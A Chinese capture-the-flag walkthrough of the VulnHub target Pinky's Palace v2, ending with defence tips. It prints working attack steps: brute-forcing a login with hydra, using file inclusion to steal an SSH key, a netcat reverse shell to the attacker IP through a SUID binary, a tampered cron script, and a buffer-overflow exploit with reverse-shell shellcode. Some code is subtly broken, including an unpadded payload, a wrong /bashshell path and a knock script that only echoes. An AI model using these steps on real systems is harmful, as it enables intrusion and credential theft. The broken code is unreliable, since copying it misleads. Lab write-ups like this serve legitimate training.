PinkysPalaceV2 靶机渗透教学文档
靶机基本信息
- 名称:Pinky's Palace: v2
- 来源:VulnHub
- 作者:Pink_Panther
- 发布日期:2018年3月18日
- 难度:Hard
- 靶机IP:192.168.80.177
- 攻击机IP:192.168.80.129
- 特殊要求:需要绑定hosts(192.168.80.177 pinkydb)让图片正常加载
信息收集阶段
1. 主机发现与端口扫描
使用nmap进行扫描:
nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports 10 -oA nmap_result/port_udp_scan
扫描结果:
- 80/tcp - Apache httpd 2.4.25
- 4655/tcp - filtered (未知服务)
- 7654/tcp - filtered (未知服务)
- 31337/tcp - filtered (Elite)
2. Web服务枚举
使用whatweb进行指纹识别:
whatweb http://pinkydb
结果:WordPress 4.9.4,标题"Pinky's Blog - Just another WordPress site"
3. 目录扫描
使用feroxbuster和gobuster:
feroxbuster -u http://pinkydb/ -o feroxbuster_info.txt
gobuster dir -u http://pinkydb/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
发现的重要路径:
- /secret/bambam.txt - 包含端口号信息
- /wordpress/wp-admin/setup-config.php - WordPress初始化页面
- /wp-admin - WordPress后台登录页
4. WordPress信息枚举
使用wpscan:
wpscan --url http://pinkydb/ --enumerate u
发现用户:pinky1337
端口碰撞技术
1. 分析bambam.txt
文件内容包含三个端口号:8890, 7000, 666
2. 生成所有排列组合
python -c 'import itertools; print(list(itertools.permutations([8890,7000,666])))' | sed 's/),/\n/g' | tr -cd '0-9\n,' | tr ',' ' ' > knock_list.txt
3. 批量端口碰撞
编写脚本knock_assembly.sh:
#!/bin/bash
while read -r line
do
echo '- knock -v pinkydb $line'
done < ./knock_list.txt
4. 碰撞后重新扫描
发现新开放的端口:
- 4655/tcp - OpenSSH 7.4p1
- 7654/tcp - nginx 1.10.3
- 31337/tcp - Elite (可能的后门)
Web应用渗透
1. 端口7654的Web服务
访问http://pinkydb:7654/login.php发现登录页面
密码爆破
使用cewl生成字典:
cewl http://pinkydb/ -w cewl_pass.txt
使用hydra爆破:
hydra -L user_list -P cewl_pass.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password"
成功获取凭据:pinky:Passione
文件包含漏洞
登录后发现URL存在本地文件包含漏洞:
http://pinkydb:7654/pageegap.php?1337=../path/to/file
利用漏洞下载私钥文件:
wget http://pinkydb:7654/pageegap.php?1337=../home/stefano/.ssh/id_rsa -O id_rsa
2. SSH私钥破解
使用john破解私钥密码:
/usr/share/john/ssh2john.py id_rsa > hash_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt hash_rsa
获取密码:secretz101
权限提升路径
1. 初始访问 - stefano用户
使用获取的私钥登录:
ssh stefano@192.168.80.177 -p 4655 -i id_rsa
输入密码:secretz101
2. 提权到pinky用户
在stefano家目录发现SUID程序qsub:
ls -la /home/stefano/tools/qsub
分析发现程序检查环境变量TERM的值作为密码,实际值为xterm-256color
利用qsub执行命令:
./qsub '&(nc 192.168.80.129 2211 -e /bin/bash)'
获取pinky用户shell
3. 提权到demon用户
在pinky的历史命令中发现备份脚本:
cat /usr/local/bin/backup.sh
发现该脚本属于demon用户,且pinky在pinky组中
编辑脚本添加提权命令:
echo 'chmod ugo+x /tmp/bashshell' >> /usr/local/bin/backup.sh
echo 'chmod u+s /tmp/bashshell' >> /usr/local/bin/backup.sh
echo '/bashshell -p' >> /usr/local/bin/backup.sh
创建提权shell:
echo '#!/bin/bash' > /tmp/bashshell
echo '/bin/bash -p' >> /tmp/bashshell
chmod +x /tmp/bashshell
等待脚本执行后获取demon用户权限
4. 最终提权到root
发现root运行的进程:
ps aux | grep root
找到/daemon/panel程序,监听31337端口
漏洞分析
- 程序存在缓冲区溢出漏洞
- 使用IDA分析发现strcpy未检查长度
- 缓冲区大小为112字节
漏洞利用
- 确定偏移量:
pattern_create.rb -l 500
pattern_offset.rb -q [崩溃时的值]
确定RIP偏移为120字节
-
查找jmp rsp地址:0x400cfb
-
生成shellcode:
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.80.129 LPORT=3311 -b '\x00' -f python -o shell3333
- 编写利用脚本:
from pwn import *
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x27\x14\xe6\xca\x31"
buf += b"\xf4\x33\x97\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x4d\x3d\xbe\x53\x5b\xf6\x6c\xfd\x26"
buf += b"\x4a\xe9\xcf\x79\x63\x7b\x2e\x25\x14\xea\x30\xf1"
buf += b"\x5c\x63\x16\x76\x5c\x6f\x2c\x5b\xe4\x69\xfd\x0d"
buf += b"\x4c\xe9\xcf\x5b\xf7\x6d\xdf\xd8\xda\x8c\xeb\x69"
buf += b"\xfb\x36\xe2\xd1\x7e\xdd\x92\xa8\xbc\x88\xb8\x45"
buf += b"\x7d\x88\xe5\x42\x9c\x33\xc4\x6f\x9d\x01\x98\x66"
buf += b"\xbc\xba\x71\x28\x11\xe6\xca\x31\xf4\x33\x97\x90"
ret = p64(0x400cfb)
payload = buf + ret
r = remote("192.168.80.177", 31337)
r.recv()
r.send(payload)
print("ok")
- 执行脚本获取root shell
关键知识点总结
-
端口碰撞技术:通过特定顺序访问端口来开启隐藏服务
-
WordPress枚举:使用wpscan发现用户和漏洞
-
密码爆破:结合cewl和hydra进行有效爆破
-
文件包含漏洞利用:通过LFI获取敏感文件
-
SUID提权:分析SUID程序逻辑寻找提权路径
-
缓冲区溢出利用:
- 确定偏移量
- 查找jmp rsp地址
- 生成不含坏字符的shellcode
- 构造有效payload
-
权限维持:通过编辑定时执行的脚本实现权限提升
防御建议
- 禁用不必要的SUID权限
- 对输入进行严格过滤,防止文件包含漏洞
- 使用更安全的函数替代strcpy等危险函数
- 定期更新WordPress及插件
- 使用强密码策略,避免密码重用
- 限制SSH私钥的使用,设置强密码
- 监控异常进程和网络连接